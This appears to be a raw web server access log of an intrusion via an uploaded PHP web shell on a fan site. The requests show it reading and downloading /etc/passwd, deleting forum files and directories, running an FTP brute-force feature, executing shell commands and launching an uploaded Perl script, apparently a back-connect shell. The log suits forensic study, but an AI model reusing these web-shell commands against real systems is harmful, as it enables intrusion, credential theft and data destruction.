    62.150.35.230 - - [12/Dec/2006:13:19:16 +0000] "GET /downloads/uploads/nfm.php?tm=/etc&fi=passwd&action=view HTTP/1.1" 200 8934 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:19:31 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=delete HTTP/1.1" 200 59848 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:19:47 +0000] "GET /downloads/uploads/nfm.php?tm=/etc&fi=passwd&action=download HTTP/1.1" 200 6972 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:19:59 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=black.php&action=delete HTTP/1.1" 200 57376 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:20:10 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=spider&action=view HTTP/1.1" 200 23002 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=black.php&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:20:30 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=init.php&action=view HTTP/1.1" 200 11055 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=black.php&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:20:54 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/cache HTTP/1.1" 200 20372 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=black.php&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:21:04 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/cache/lang_cache HTTP/1.1" 200 17693 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/cache" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:21:12 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/cache/skin_cache HTTP/1.1" 200 24514 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/cache" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:21:22 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=delete HTTP/1.1" 200 57374 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:21:34 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55261 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=black.php&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:21:45 +0000] "GET /downloads/uploads/nfm.php?cm=perm+--help HTTP/1.1" 200 12230 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=black.php&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:21:53 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 57092 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:22:05 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55261 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:22:10 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir HTTP/1.1" 200 55523 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:22:24 +0000] "GET /downloads/uploads/nfm.php?cm=md+forums HTTP/1.1" 200 12228 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:22:30 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir HTTP/1.1" 200 55523 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:22:36 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 57092 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:22:51 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir HTTP/1.1" 200 55523 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:23:04 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&fi=remedyvisit.log&action=view HTTP/1.1" 200 2147 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:23:19 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//articles HTTP/1.1" 200 15664 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:23:25 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//admin HTTP/1.1" 200 20923 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:23:44 +0000] "GET /downloads/uploads/nfm.php?tm=/var/cpanel&fi=accounting.log&action=view HTTP/1.1" 200 11351 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:25:41 +0000] "GET /downloads/uploads/nfm.php?tm=/etc&fi=passwd&action=view HTTP/1.1" 200 8934 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:31:39 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads HTTP/1.1" 200 23653 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/&dd=forums&action=deldir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:31:42 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/uploads HTTP/1.1" 200 19184 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:31:48 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/uploads HTTP/1.1" 200 19184 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:35:58 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/uploads HTTP/1.1" 200 19184 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:40:42 +0000] "GET /downloads/uploads/nfm.php?action=ftp HTTP/1.1" 200 36192 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/uploads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:42:29 +0000] "GET /downloads/uploads/nfm.php?action=brut_ftp HTTP/1.1" 200 11983 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=ftp" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:42:32 +0000] "GET /downloads/uploads/nfm.php?action=ftp HTTP/1.1" 200 32809 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=ftp" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:43:05 +0000] "POST /downloads/uploads/nfm.php?action=brut_ftp HTTP/1.1" 200 11983 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=brut_ftp" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:43:26 +0000] "POST /downloads/uploads/nfm.php?action=brut_ftp HTTP/1.1" 200 11983 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=brut_ftp" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:43:54 +0000] "POST /downloads/uploads/nfm.php?action=brut_ftp HTTP/1.1" 200 11983 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=brut_ftp" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:49:01 +0000] "GET /downloads/uploads/nfm.php?action=brut_ftp HTTP/1.1" 200 11983 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:52:39 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19172 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=brut_ftp" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:52:48 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55261 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:52:52 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 57092 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:56:16 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55261 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:56:52 +0000] "GET /downloads/uploads/nfm.php?cm=find+%2F+-type+f+-name+config.inc.php HTTP/1.1" 200 12254 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:59:36 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19172 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=find+%2F+-type+f+-name+config.inc.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:13:59:39 +0000] "GET /downloads/uploads/nfm.php?action=bash HTTP/1.1" 200 10756 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=find+%2F+-type+f+-name+config.inc.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:00:28 +0000] "GET /downloads/uploads/nfm.php?action=bash HTTP/1.1" 200 10756 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=find+%2F+-type+f+-name+config.inc.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:00:49 +0000] "GET /downloads/uploads/nfm.php?action=bash HTTP/1.1" 200 10756 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:05:10 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19172 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=bash" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:05:18 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/ HTTP/1.1" 200 23653 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:05:46 +0000] "GET /downloads/uploads/nfm.php?cm=echo+test+%3E+uploads%2F1.txt HTTP/1.1" 200 12244 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:05:53 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//uploads HTTP/1.1" 200 19184 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:06:28 +0000] "GET /downloads/uploads/nfm.php?cm=echo+test+%3E+%2Fuploads%2F1.txt HTTP/1.1" 200 12245 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:06:35 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//uploads HTTP/1.1" 200 19184 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:06:48 +0000] "GET /downloads/uploads/nfm.php?cm=echo+test+%3E+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2F1.txt HTTP/1.1" 200 12273 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:06:53 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19172 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=echo+test+%3E+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2F1.txt" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:09:03 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//uploads HTTP/1.1" 200 19184 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:09:21 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 21989 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//uploads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:09:58 +0000] "GET /downloads/uploads/nfm.php?cm=perl+back.pl HTTP/1.1" 200 12231 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:13:11 +0000] "GET /downloads/uploads/nfm.php?cm=perl+back.pl HTTP/1.1" 200 12231 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:13:23 +0000] "GET /downloads/uploads/nfm.php?action=bash HTTP/1.1" 200 10756 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=perl+back.pl" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:13:25 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 21687 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=perl+back.pl" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:13:32 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=back.pl&action=delete HTTP/1.1" 200 19454 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:17:37 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55261 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=back.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:17:45 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//fanart HTTP/1.1" 200 15648 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:17:55 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads HTTP/1.1" 200 23653 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:18:03 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/files HTTP/1.1" 200 14899 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:18:08 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/files/videos HTTP/1.1" 200 27368 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/files" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:18:35 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/lang HTTP/1.1" 200 17570 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:18:43 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/lang&fi=english.conf&action=view HTTP/1.1" 200 17430 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//downloads/lang" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:19:06 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//videos HTTP/1.1" 200 15652 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:19:12 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//wallpapers HTTP/1.1" 200 17444 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:19:24 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 57092 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:19:32 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/style_images HTTP/1.1" 200 28904 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:19:51 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/style_images/1 HTTP/1.1" 200 279972 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/style_images" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
